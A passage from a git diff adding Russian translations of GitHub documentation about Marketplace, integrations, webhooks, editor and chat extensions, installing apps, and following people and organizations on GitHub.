reusables.classroom.for-more-information-about-assignment-creation %} +- Write and implement automated tests to provide immediate feedback to students directly in assignment repositories. For more information, see "[Use autograding](/education/manage-coursework-with-github-classroom/use-autograding)." +- Participate in {% data variables.product.prodname_education_community_with_url %}. diff --git a/translations/ru-RU/content/get-started/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md b/translations/ru-RU/content/get-started/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md new file mode 100644 index 000000000000..8edca109653c --- /dev/null +++ b/translations/ru-RU/content/get-started/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md @@ -0,0 +1,41 @@ +--- +title: Сведения о GitHub Marketplace +intro: '{% data variables.product.prodname_marketplace %} содержит инструменты, которые добавляют функциональные возможности и улучшают рабочий процесс.' +redirect_from: + - /articles/about-github-marketplace + - /github/customizing-your-github-workflow/about-github-marketplace + - /github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace +versions: + fpt: '*' + ghec: '*' +ms.openlocfilehash: b105bd1ea712aff86e47891d2be24ce82f8d6b19 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145112131' +--- +Вы можете искать, просматривать и устанавливать бесплатные и платные средства, включая {% data variables.product.prodname_github_apps %}, {% data variables.product.prodname_oauth_apps %} и {% data variables.product.prodname_actions %}, в [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace). + +Если вы приобрели платное средство, вы платите за подписку на средство с той же информацией о выставлении счетов, которую вы используете для оплаты подписки {% data variables.product.product_name %}, и получаете один счет как обычно в указанную дату выставления счетов. Дополнительные сведения см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace). + +Также для некоторых средств можно выбрать бесплатную 14-дневную пробную версию. Вы можете отменить подписку в любой момент во время пробного периода и плата взиматься не будет, однако вы автоматически потеряете доступ к средству. Платная подписка начнется в конце 14-дневного срока действия бесплатной пробной версии. Дополнительные сведения см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace). + +## Поиск средств в {% data variables.product.prodname_marketplace %} + +Вы можете найти и установить приложения и действия, созданные другими пользователями в {% data variables.product.prodname_marketplace %}. См. раздел [Поиск {% data variables.product.prodname_marketplace %}](/search-github/searching-on-github/searching-github-marketplace). + +{% data reusables.actions.actions-not-verified %} + +Любой пользователь может добавить бесплатное {% data variables.product.prodname_github_app %} или {% data variables.product.prodname_oauth_app %} в {% data variables.product.prodname_marketplace %}. Издатели платных приложений проверяются {% data variables.product.company_short %}, а перечни таких приложений отображаются с эмблемой Marketplace {% octicon "verified" aria-label="Verified creator badge" %}. Непроверенные и проверенные приложений также обозначаются соответствующими эмблемами. Такие приложения опубликованы с помощью предыдущего метода проверки отдельных приложений. Дополнительные сведения о текущем процессе см. в разделах [Сведения о GitHub Marketplace](/developers/github-marketplace/about-github-marketplace) и [Требования для добавления приложения в список](/developers/github-marketplace/requirements-for-listing-an-app). + +## Создание средства и добавление его в список в {% data variables.product.prodname_marketplace %} + +Дополнительные сведения о создании собственного средства для добавления в список в {% data variables.product.prodname_marketplace %} см. в разделах [Приложения](/developers/apps) и [{% data variables.product.prodname_actions %}](/actions). + +## Дополнительные материалы + +- [Приобретение и установка приложений в {% data variables.product.prodname_marketplace %}](/articles/purchasing-and-installing-apps-in-github-marketplace) +- [Управление выставлением счетов за {% data variables.product.prodname_marketplace %} приложений](/articles/managing-billing-for-github-marketplace-apps) +- [Поддержка {% data variables.product.prodname_marketplace %}](/articles/github-marketplace-support) +- [Различия между приложениями GitHub и приложениями OAuth](/developers/apps/differences-between-github-apps-and-oauth-apps) diff --git a/translations/ru-RU/content/get-started/customizing-your-github-workflow/exploring-integrations/about-integrations.md b/translations/ru-RU/content/get-started/customizing-your-github-workflow/exploring-integrations/about-integrations.md new file mode 100644 index 000000000000..c5e0430d7158 --- /dev/null +++ b/translations/ru-RU/content/get-started/customizing-your-github-workflow/exploring-integrations/about-integrations.md @@ -0,0 +1,48 @@ +--- +title: Сведения об интеграциях +intro: 'Интеграции — это средства и службы, которые подключаются к {% data variables.product.product_name %} для дополнения и расширения рабочего процесса.' +redirect_from: + - /articles/about-integrations + - /github/customizing-your-github-workflow/about-integrations + - /github/customizing-your-github-workflow/exploring-integrations/about-integrations +versions: + fpt: '*' + ghec: '*' +ms.openlocfilehash: a976ad099b80297d0d1e006a020b77b6406989eb +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145119496' +--- +Вы можете установить интеграции в личной учетной записи или в принадлежащих вам организациях. Помимо этого, вы можете устанавливать приложения {% data variables.product.prodname_github_apps %} от третьей стороны в определенном репозитории, где у вас есть разрешения администратора или который принадлежит вашей организации. + +## Различия между {% data variables.product.prodname_github_apps %} и {% data variables.product.prodname_oauth_apps %} + +Интеграции могут быть {% data variables.product.prodname_github_apps %}, {% data variables.product.prodname_oauth_apps %}, или любыми приложениями, которые используют API или веб-перехватчики {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}. + +{% data variables.product.prodname_github_apps %} предоставляют детализированные разрешения и запрашивают доступ только к требуемым приложениям. {% data variables.product.prodname_github_apps %} также предоставляют определенные разрешения на уровне пользователя, которые каждый пользователь должен авторизовать каждое приложение по отдельности при его установке или когда интегратор изменяет разрешения, запрашиваемые приложением. + +Дополнительные сведения см. в разделе: +- [Различия между {% data variables.product.prodname_github_apps %} и {% data variables.product.prodname_oauth_apps %}](/apps/differences-between-apps/) +- [Сведения о приложениях](/apps/about-apps/) +- [Разрешения уровня пользователя](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#user-level-permissions) +- [Авторизация {% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps) +- [Авторизация {% data variables.product.prodname_github_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-github-apps) +- [Просмотр авторизованных интеграций](/articles/reviewing-your-authorized-integrations/) + +Вы можете установить предварительно настроенное {% data variables.product.prodname_github_app %}, если интеграторы или авторы приложений создали свое приложение с потоком манифеста {% data variables.product.prodname_github_app %}. Сведения о том, как запустить {% data variables.product.prodname_github_app %} с автоматической конфигурацией, обратитесь к интегратору или автору приложения. + +Вы можете создать {% data variables.product.prodname_github_app %} с упрощенной конфигурацией при создании приложения с помощью Probot. Дополнительные сведения см. на сайте [документации Probot](https://probot.github.io/docs/). + +## Обнаружение интеграции в {% data variables.product.prodname_marketplace %} + +Вы можете найти интеграцию для установки или публикации собственной интеграции в {% data variables.product.prodname_marketplace %}. + +В [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) имеются {% data variables.product.prodname_github_apps %} и {% data variables.product.prodname_oauth_apps %}. Дополнительные сведения о поиске интеграции или создании собственной интеграции см. в разделе [Сведения о {% data variables.product.prodname_marketplace %}](/articles/about-github-marketplace). + +## Интеграции, приобретенные непосредственно у интеграторов + +Вы также можете приобрести некоторые интеграции непосредственно у интеграторов. Если вы найдете {% data variables.product.prodname_github_app %}, которое хотите использовать, вы можете запросить утверждение и установку приложения для организации в качестве участника организации. + +Если у вас есть разрешения администратора для всех репозиториев, принадлежащих организации, в которых установлено приложение, вы можете установить {% data variables.product.prodname_github_apps %} с разрешениями уровня репозитория, не запрашивая у владельца организации утверждение приложения. Когда интегратор изменяет разрешения приложения, если они предназначены только для репозитория, владельцы организации и пользователи с разрешениями администратора репозитория с установленным приложением могут просматривать и принимать новые разрешения. diff --git a/translations/ru-RU/content/get-started/customizing-your-github-workflow/exploring-integrations/about-webhooks.md b/translations/ru-RU/content/get-started/customizing-your-github-workflow/exploring-integrations/about-webhooks.md new file mode 100644 index 000000000000..a9a964507f50 --- /dev/null +++ b/translations/ru-RU/content/get-started/customizing-your-github-workflow/exploring-integrations/about-webhooks.md @@ -0,0 +1,37 @@ +--- +title: Сведения о веб-перехватчиках +redirect_from: + - /post-receive-hooks + - /articles/post-receive-hooks + - /articles/creating-webhooks + - /articles/about-webhooks + - /github/extending-github/about-webhooks +intro: 'Веб-перехватчики предоставляют способ доставки уведомлений на внешний веб-сервер всякий раз, когда в репозитории или организации выполняются определенные действия.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: 30232a560237d473f17ec01d6451cb25195521fc +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147880616' +--- +{% tip %} + +**Совет**. {% data reusables.organizations.owners-and-admins-can %} управлять веб-перехватчиками для организации. {% data reusables.organizations.new-org-permissions-more-info %} + +{% endtip %} + +Веб-перехватчики могут активироваться каждый раз, когда в репозитории или организации выполняются различные действия. Например, вы можете настроить веб-перехватчик так, чтобы он выполнялся каждый раз: + +* при отправке в репозиторий; +* при открытии запроса на вытягивание; +* при создании сайта {% data variables.product.prodname_pages %}; +* при добавлении нового участника в команду. + +С помощью API {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} можно сделать так, чтобы эти веб-перехватчики обновляли внешнее средство отслеживания проблем, активировали сборки CI, обновляли зеркальную резервную копию или даже производили развертывание на рабочем сервере. + +Чтобы настроить новый веб-перехватчик, вам потребуется доступ к внешнему серверу и знакомство с техническими процедурами. Справку по созданию веб-перехватчика, включая полный список действий, с которыми можно выполнить связывание, см. в разделе [Веб-перехватчики](/webhooks). diff --git a/translations/ru-RU/content/get-started/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md b/translations/ru-RU/content/get-started/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md new file mode 100644 index 000000000000..1963647dc65c --- /dev/null +++ b/translations/ru-RU/content/get-started/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md @@ -0,0 +1,52 @@ +--- +title: GitHub extensions and integrations +intro: 'Use {% data variables.product.product_name %} extensions to work seamlessly in {% data variables.product.product_name %} repositories within third-party applications.' +redirect_from: + - /articles/about-github-extensions-for-third-party-applications + - /articles/github-extensions-and-integrations + - /github/customizing-your-github-workflow/github-extensions-and-integrations + - /github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations +versions: + fpt: '*' + ghec: '*' +shortTitle: Extensions & integrations +--- +## Editor tools + +You can connect to {% data variables.product.product_name %} repositories within third-party editor tools such as Unity and {% data variables.product.prodname_vs %}. + +### {% data variables.product.product_name %} for Unity + +With the {% data variables.product.product_name %} for Unity editor extension, you can develop on Unity, the open source game development platform, and see your work on {% data variables.product.product_name %}. For more information, see the official Unity editor extension [site](https://unity.github.com/) or the [documentation](https://github.com/github-for-unity/Unity/tree/master/docs). + +### {% data variables.product.product_name %} for {% data variables.product.prodname_vs %} + +With the {% data variables.product.product_name %} for {% data variables.product.prodname_vs %} extension, you can work in {% data variables.product.product_name %} repositories without leaving {% data variables.product.prodname_vs %}. For more information, see the official {% data variables.product.prodname_vs %} extension [site](https://visualstudio.github.com/) or [documentation](https://github.com/github/VisualStudio/tree/master/docs). + +### {% data variables.product.prodname_dotcom %} for {% data variables.product.prodname_vscode %} + +With the {% data variables.product.prodname_dotcom %} for {% data variables.product.prodname_vscode %} extension, you can review and manage {% data variables.product.product_name %} pull requests in {% data variables.product.prodname_vscode_shortname %}. For more information, see the official {% data variables.product.prodname_vscode_shortname %} extension [site](https://vscode.github.com/) or [documentation](https://github.com/Microsoft/vscode-pull-request-github). + +## Project management tools + +You can integrate your personal or organization account on {% data variables.location.product_location %} with third-party project management tools, such as Jira. + +### Jira Cloud and {% data variables.product.product_name %}.com integration + +You can integrate Jira Cloud with your personal or organization account to scan commits and pull requests, creating relevant metadata and hyperlinks in any mentioned Jira issues. For more information, visit the [Jira integration app](https://github.com/marketplace/jira-software-github) in the marketplace. + +## Team communication tools + +You can integrate your personal or organization account on {% data variables.location.product_location %} with third-party team communication tools, such as Slack or Microsoft Teams. + +### Slack and {% data variables.product.product_name %} integration + +The Slack + {% data variables.product.prodname_dotcom %} app lets you subscribe to your repositories or organizations and get realtime updates about issues, pull requests, commits, discussions, releases, deployment reviews and deployment statuses. You can also perform activities like opening and closing issues, and you can see detailed references to issues and pull requests without leaving Slack. The app will also ping you personally in Slack if you are mentioned as part of any {% data variables.product.prodname_dotcom %} notifications that you receive in your channels or personal chats. + +The Slack + {% data variables.product.prodname_dotcom %} app is also compatible with [Slack Enterprise Grid](https://slack.com/intl/en-in/help/articles/360000281563-Manage-apps-on-Enterprise-Grid). For more information, visit the [Slack + {% data variables.product.prodname_dotcom %} app](https://github.com/marketplace/slack-github) in the marketplace. + +### Microsoft Teams and {% data variables.product.product_name %} integration + +The {% data variables.product.prodname_dotcom %} for Teams app lets you subscribe to your repositories or organizations and get realtime updates about issues, pull requests, commits, discussions, releases, deployment reviews and deployment statuses. You can also perform activities like opening and closing issues, commenting on your issues and pull requests, and you can see detailed references to issues and pull requests without leaving Microsoft Teams. The app will also ping you personally in Teams if you are mentioned as part of any {% data variables.product.prodname_dotcom %} notifications that you receive in your channels or personal chats. + +For more information, visit the [{% data variables.product.prodname_dotcom %} for Teams app](https://appsource.microsoft.com/en-us/product/office/WA200002077) in Microsoft AppSource. diff --git a/translations/ru-RU/content/get-started/customizing-your-github-workflow/exploring-integrations/index.md b/translations/ru-RU/content/get-started/customizing-your-github-workflow/exploring-integrations/index.md new file mode 100644 index 000000000000..ec6683c17e9a --- /dev/null +++ b/translations/ru-RU/content/get-started/customizing-your-github-workflow/exploring-integrations/index.md @@ -0,0 +1,24 @@ +--- +title: Изучение интеграции +intro: 'Вы можете настроить и расширить рабочий процесс {% data variables.product.product_name %} с помощью средств и служб, созданных сообществом {% data variables.product.product_name %}.' +redirect_from: + - /articles/exploring-integrations + - /github/customizing-your-github-workflow/exploring-integrations +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +children: + - /about-integrations + - /about-webhooks + - /about-github-marketplace + - /github-extensions-and-integrations +ms.openlocfilehash: ba97623756a53352fb8a9d1d34db9f5dd6c3bede +ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147883396' +--- + diff --git a/translations/ru-RU/content/get-started/customizing-your-github-workflow/index.md b/translations/ru-RU/content/get-started/customizing-your-github-workflow/index.md new file mode 100644 index 000000000000..59a856f1d69c --- /dev/null +++ b/translations/ru-RU/content/get-started/customizing-your-github-workflow/index.md @@ -0,0 +1,23 @@ +--- +title: Настройка рабочего процесса GitHub +intro: 'Узнайте, как настроить рабочий процесс {% data variables.product.prodname_dotcom %} с помощью расширений, интеграций, {% data variables.product.prodname_marketplace %} и веб-перехватчиков.' +redirect_from: + - /categories/customizing-your-github-workflow + - /github/customizing-your-github-workflow +versions: + fpt: '*' + ghec: '*' + ghae: '*' + ghes: '*' +children: + - /exploring-integrations + - /purchasing-and-installing-apps-in-github-marketplace +shortTitle: Customize your workflow +ms.openlocfilehash: 39a049fa4dd51c48583541879975a6d13b53a89c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145119488' +--- + diff --git a/translations/ru-RU/content/get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/index.md b/translations/ru-RU/content/get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/index.md new file mode 100644 index 000000000000..4e3798d74cd3 --- /dev/null +++ b/translations/ru-RU/content/get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/index.md @@ -0,0 +1,21 @@ +--- +title: Приобретение и установка приложений в GitHub Marketplace +intro: '{% data variables.product.prodname_marketplace %} включает приложения с бесплатными и платными тарифными планами. Если вы нашли платное приложение, которое вы хотите использовать для личной учетной записи или организации, можно приобрести и установить его, используя существующие сведения о выставлении счетов.' +redirect_from: + - /articles/purchasing-and-installing-apps-in-github-marketplace + - /github/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace +versions: + fpt: '*' + ghec: '*' +children: + - /installing-an-app-in-your-personal-account + - /installing-an-app-in-your-organization +shortTitle: Install Marketplace apps +ms.openlocfilehash: 5b262c82be9d51386498aff7c0b126fdf44a46b0 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145112088' +--- + diff --git a/translations/ru-RU/content/get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-organization.md b/translations/ru-RU/content/get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-organization.md new file mode 100644 index 000000000000..e0c43861fab5 --- /dev/null +++ b/translations/ru-RU/content/get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-organization.md @@ -0,0 +1,43 @@ +--- +title: Установка приложения в организации +intro: 'Вы можете установить приложения из {% data variables.product.prodname_marketplace %} для использования в пределах организации.' +redirect_from: + - /articles/installing-an-app-in-your-organization + - /github/customizing-your-github-workflow/installing-an-app-in-your-organization + - /github/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-organization +versions: + fpt: '*' + ghec: '*' +shortTitle: Install app organization +ms.openlocfilehash: bf64ee38839197262852d07c024c72a0742d0e6e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145119483' +--- +{% data reusables.marketplace.marketplace-apps-only %} + +{% data reusables.marketplace.marketplace-org-perms %} + +Если вы выберете платный план, вы будете платить за подписку на приложение в текущую дату выставления счетов в вашей организации с использованием существующего метода оплаты организации. + +{% data reusables.marketplace.free-trials %} + +## Установка {% data variables.product.prodname_github_app %} в вашей организации + +{% data reusables.marketplace.visit-marketplace %} {% data reusables.marketplace.browse-to-app %} {% data reusables.marketplace.choose-plan %} {% data reusables.marketplace.install-buy %} {% data reusables.marketplace.confirm-install-account-org %} {% data reusables.marketplace.add-payment-method-org %} {% data reusables.marketplace.complete-order-begin-installation %} +8. Если приложению требуется доступ к репозиториям, определите, следует ли предоставить приложению доступ ко всем репозиториям или к определенным репозиториям, а затем выберите **Все репозитории** или **Только выбранные репозитории**. + ![Переключатели с вариантами установки приложения во всех репозиториях или в определенных репозиториях](/assets/images/help/marketplace/marketplace-choose-repo-install-option.png) {% data reusables.marketplace.select-installation-repos %} {% data reusables.marketplace.review-app-perms-install %} + +## Установка {% data variables.product.prodname_oauth_app %} в организации + +{% data reusables.saml.saml-session-oauth %} + +{% data reusables.marketplace.visit-marketplace %} {% data reusables.marketplace.browse-to-app %} {% data reusables.marketplace.choose-plan %} {% data reusables.marketplace.install-buy %} {% data reusables.marketplace.confirm-install-account-org %} {% data reusables.marketplace.add-payment-method-org %} {% data reusables.marketplace.complete-order-begin-installation %} +8. Просмотрите сведения о доступе приложения к вашей личной учетной записи, организациям и данным, а затем щелкните **Авторизовать приложение**. + +## Дополнительные материалы + +- [Обновление метода оплаты организации](/articles/updating-your-organization-s-payment-method) +- [Установка приложения в личной учетной записи](/articles/installing-an-app-in-your-personal-account) diff --git a/translations/ru-RU/content/get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-personal-account.md b/translations/ru-RU/content/get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-personal-account.md new file mode 100644 index 000000000000..f024e9785f32 --- /dev/null +++ b/translations/ru-RU/content/get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-personal-account.md @@ -0,0 +1,41 @@ +--- +title: Установка приложения в личной учетной записи +intro: 'Вы можете установить приложения из {% data variables.product.prodname_marketplace %} для использования в пределах личной учетной записи.' +redirect_from: + - /articles/installing-an-app-in-your-personal-account + - /github/customizing-your-github-workflow/installing-an-app-in-your-personal-account + - /github/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-personal-account +versions: + fpt: '*' + ghec: '*' +shortTitle: Install app personal account +ms.openlocfilehash: c400db97a6d2e4533d373b8bfadca13e5b6f48f1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147880576' +--- +{% data reusables.marketplace.marketplace-apps-only %} + +Если вы выберете платный план, вы будете платить за подписку на приложение в текущую дату выставления счетов в вашей личной учетной записи с использованием существующего метода оплаты. + +{% data reusables.marketplace.free-trials %} + +## Установка {% data variables.product.prodname_github_app %} в личной учетной записи + +{% data reusables.marketplace.visit-marketplace %} {% data reusables.marketplace.browse-to-app %} {% data reusables.marketplace.choose-plan %} {% data reusables.marketplace.install-buy %} {% data reusables.marketplace.confirm-install-account-personal %} {% data reusables.marketplace.add-payment-method-personal %} {% data reusables.marketplace.complete-order-begin-installation %} +8. Определите, следует ли предоставить приложению доступ ко всем репозиториям или к определенным репозиториям, а затем выберите **Все репозитории** или **Только выбранные репозитории**. + ![Переключатели с вариантами установки приложения во всех репозиториях или в определенных репозиториях](/assets/images/help/marketplace/marketplace-choose-repo-install-option.png) {% data reusables.marketplace.select-installation-repos %} {% data reusables.marketplace.review-app-perms-install %} + +## Установка {% data variables.product.prodname_oauth_app %} в личной учетной записи + +{% data reusables.saml.saml-session-oauth %} + +{% data reusables.marketplace.visit-marketplace %} {% data reusables.marketplace.browse-to-app %} {% data reusables.marketplace.choose-plan %} {% data reusables.marketplace.install-buy %} {% data reusables.marketplace.confirm-install-account-personal %} {% data reusables.marketplace.add-payment-method-personal %} {% data reusables.marketplace.complete-order-begin-installation %} +8. Просмотрите сведения о доступе приложения к вашей личной учетной записи и данным, а затем щелкните **Авторизовать приложение**. + +## Дополнительные материалы + +- [Обновление метода оплаты личной учетной записи](/articles/updating-your-personal-account-s-payment-method) +- [Установка приложения в организации](/articles/installing-an-app-in-your-organization) diff --git a/translations/ru-RU/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md b/translations/ru-RU/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md new file mode 100644 index 000000000000..d46262cbb0eb --- /dev/null +++ b/translations/ru-RU/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md @@ -0,0 +1,56 @@ +--- +title: Finding ways to contribute to open source on GitHub +intro: 'You can find ways to contribute to open source projects on {% data variables.location.product_location %} that are relevant to you.' +permissions: '{% data reusables.enterprise-accounts.emu-permission-interact %}' +redirect_from: + - /articles/where-can-i-find-open-source-projects-to-work-on + - /articles/finding-interesting-projects-on-github + - /articles/about-official-github-mirrors + - /articles/about-github-mirrors + - /articles/finding-open-source-projects-on-github + - /github/getting-started-with-github/finding-open-source-projects-on-github + - /github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github + - /github/getting-started-with-github/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github +versions: + fpt: '*' + ghec: '*' +topics: + - Open Source +shortTitle: Contribute to open source +--- +## Discovering relevant projects + +If there's a particular topic that interests you, visit `github.com/topics/<topic>`. For example, if you are interested in machine learning, you can find relevant projects and good first issues by visiting https://github.com/topics/machine-learning. You can browse popular topics by visiting [Topics](https://github.com/topics). You can also search for repositories that match a topic you're interested in. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories#search-by-topic)." + +If you've been active on {% data variables.location.product_location %}, you can find personalized recommendations for projects and good first issues based on your past contributions, stars, and other activities in [Explore](https://github.com/explore). You can also sign up for the Explore newsletter to receive emails about opportunities to contribute to {% data variables.product.product_name %} based on your interests. To sign up, see [Explore email newsletter](https://github.com/explore/subscribe). + +Keep up with recent activity from repositories you watch, as well as people and organizations you follow, with your personal dashboard. For more information, see "[About your personal dashboard](/articles/about-your-personal-dashboard)." + +{% data reusables.support.ask-and-answer-forum %} + +## Finding good first issues + +If you already know what project you want to work on, you can find beginner-friendly issues in that repository by visiting `github.com/<owner>/<repository>/contribute`. For an example, you can find ways to make your first contribution to `electron/electron` at https://github.com/electron/electron/contribute. + +## Opening an issue + +If you encounter a bug in an open source project, check if the bug has already been reported. If the bug has not been reported, you can open an issue to report the bug according to the project's contribution guidelines. + +## Validating an issue or pull request + +There are a variety of ways that you can contribute to open source projects. + +### Reproducing a reported bug +You can contribute to an open source project by validating an issue or adding additional context to an existing issue. + +### Testing a pull request +You can contribute to an open source project by merging a pull request into your local copy of the project and testing the changes. Add the outcome of your testing in a comment on the pull request. + +### Updating issues +You can contribute to an open source project by adding additional information to existing issues. + + +## Further reading + +- "[Classifying your repository with topics](/articles/classifying-your-repository-with-topics)" +- "[About your organization dashboard](/articles/about-your-organization-dashboard)" diff --git a/translations/ru-RU/content/get-started/exploring-projects-on-github/following-organizations.md b/translations/ru-RU/content/get-started/exploring-projects-on-github/following-organizations.md new file mode 100644 index 000000000000..9c8aa82cf715 --- /dev/null +++ b/translations/ru-RU/content/get-started/exploring-projects-on-github/following-organizations.md @@ -0,0 +1,50 @@ +--- +title: Подписка на организации +intro: 'Вы можете следить за организациями в {% data variables.product.product_name %}, чтобы получать уведомления об их деятельности.' +versions: + feature: for-you-feed +topics: + - Profile +ms.openlocfilehash: 61cfc1762a7ff281bbebb37435317aaef39ddf01 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147692124' +--- +{% data reusables.organizations.follow-organizations-beta %} + +## Сведения о подписчиках на {% data variables.product.product_name %} + +{% data reusables.organizations.about-following-organizations %} Дополнительные сведения см. в разделе [О личной панели мониторинга](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard#staying-updated-with-activity-from-the-community). + +Можно отписаться от организации, если не вы не хотите видеть ее {% ifversion fpt or ghec %}общедоступную{% endif %} активность на {% data variables.product.product_name %}. + +## Подписка на организацию в {% data variables.product.product_name %} + +1. Перейдите на страницу организации, на которую хотите подписаться. +2. Щелкните **Подписаться** в правом верхнем углу заголовка. + + ![Снимок экрана: заголовок организации с выделенной кнопкой "Подписаться"](/assets/images/help/profile/organization-profile-following.png) + +## Отмена подписки на организацию в {% data variables.product.product_name %} + +1. Перейдите на страницу организации, подписку на которую вы хотите отменить +2. Щелкните **Отменить подписку** в правом верхнем углу заголовка. + + ![Снимок экрана: заголовок организации с выделенной кнопкой "Отменить подписку"](/assets/images/help/profile/organization-profile-unfollowing.png) + +## Просмотр пользователей и организаций, на которых подписан пользователь, в {% data variables.product.product_name %} + +1. Щелкните изображение пользователя, чтобы отобразить профиль этого пользователя. + + ![Изображение пользователя](/assets/images/help/profile/user-profile-image.png) + +2. Щелкните **подписок** под изображением профиля. + + ![Подписки пользователя](/assets/images/help/profile/user-profile-following.png) + +{% ifversion fpt or ghec %} +## Дополнительные материалы + +- [Подписка на пользователей](/get-started/exploring-projects-on-github/following-people) {% endif %} diff --git a/translations/ru-RU/content/get-started/exploring-projects-on-github/following-people.md b/translations/ru-RU/content/get-started/exploring-projects-on-github/following-people.md new file mode 100644 index 000000000000..f87ff834ac69 --- /dev/null +++ b/translations/ru-RU/content/get-started/exploring-projects-on-github/following-people.md @@ -0,0 +1,75 @@ +--- +title: Подписка на пользователей +intro: 'Вы можете подписаться на новости о пользователях в {% data variables.product.product_name %}, чтобы получать уведомления об их действиях{% ifversion fpt or ghec %} и изучать проекты в их сообществах{% endif %}.' +permissions: '{% data reusables.enterprise-accounts.emu-permission-follow %}' +redirect_from: + - /articles/following-people + - /github/getting-started-with-github/following-people + - /github/getting-started-with-github/exploring-projects-on-github/following-people +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Profile +ms.openlocfilehash: 2ec3672f4dbcc2b1e4b643ef71659876e2033c30 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147880584' +--- +## Сведения о подписчиках на {% data variables.product.product_name %} + +После создания подписки на пользователя вы будете видеть общедоступную активность этого пользователя на личной панели мониторинга.{% ifversion fpt or ghec %} Если отслеживаемый вами пользователь ставит звезду репозиторию, {% data variables.product.product_name %} может порекомендовать этот репозиторий вам.{% endif %} Дополнительные сведения см. в разделе [Сведения о личной панели мониторинга](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard#staying-updated-with-activity-from-the-community). + +Если вы не хотите видеть общедоступную активность пользователя в {% data variables.product.product_name %}, вы можете отменить подписку на этого пользователя. + +## Создание подписки на пользователя в {% data variables.product.product_name %} + +1. Щелкните изображение пользователя, чтобы отобразить профиль этого пользователя. + + ![Изображение пользователя](/assets/images/help/profile/user-profile-image.png) + +2. Щелкните **Подписаться** под изображением профиля. + + ![Кнопка подписки на пользователя](/assets/images/help/profile/follow-user-button.png) + +## Отмена подписки на пользователя в {% data variables.product.product_name %} + +1. Щелкните изображение пользователя, чтобы отобразить профиль этого 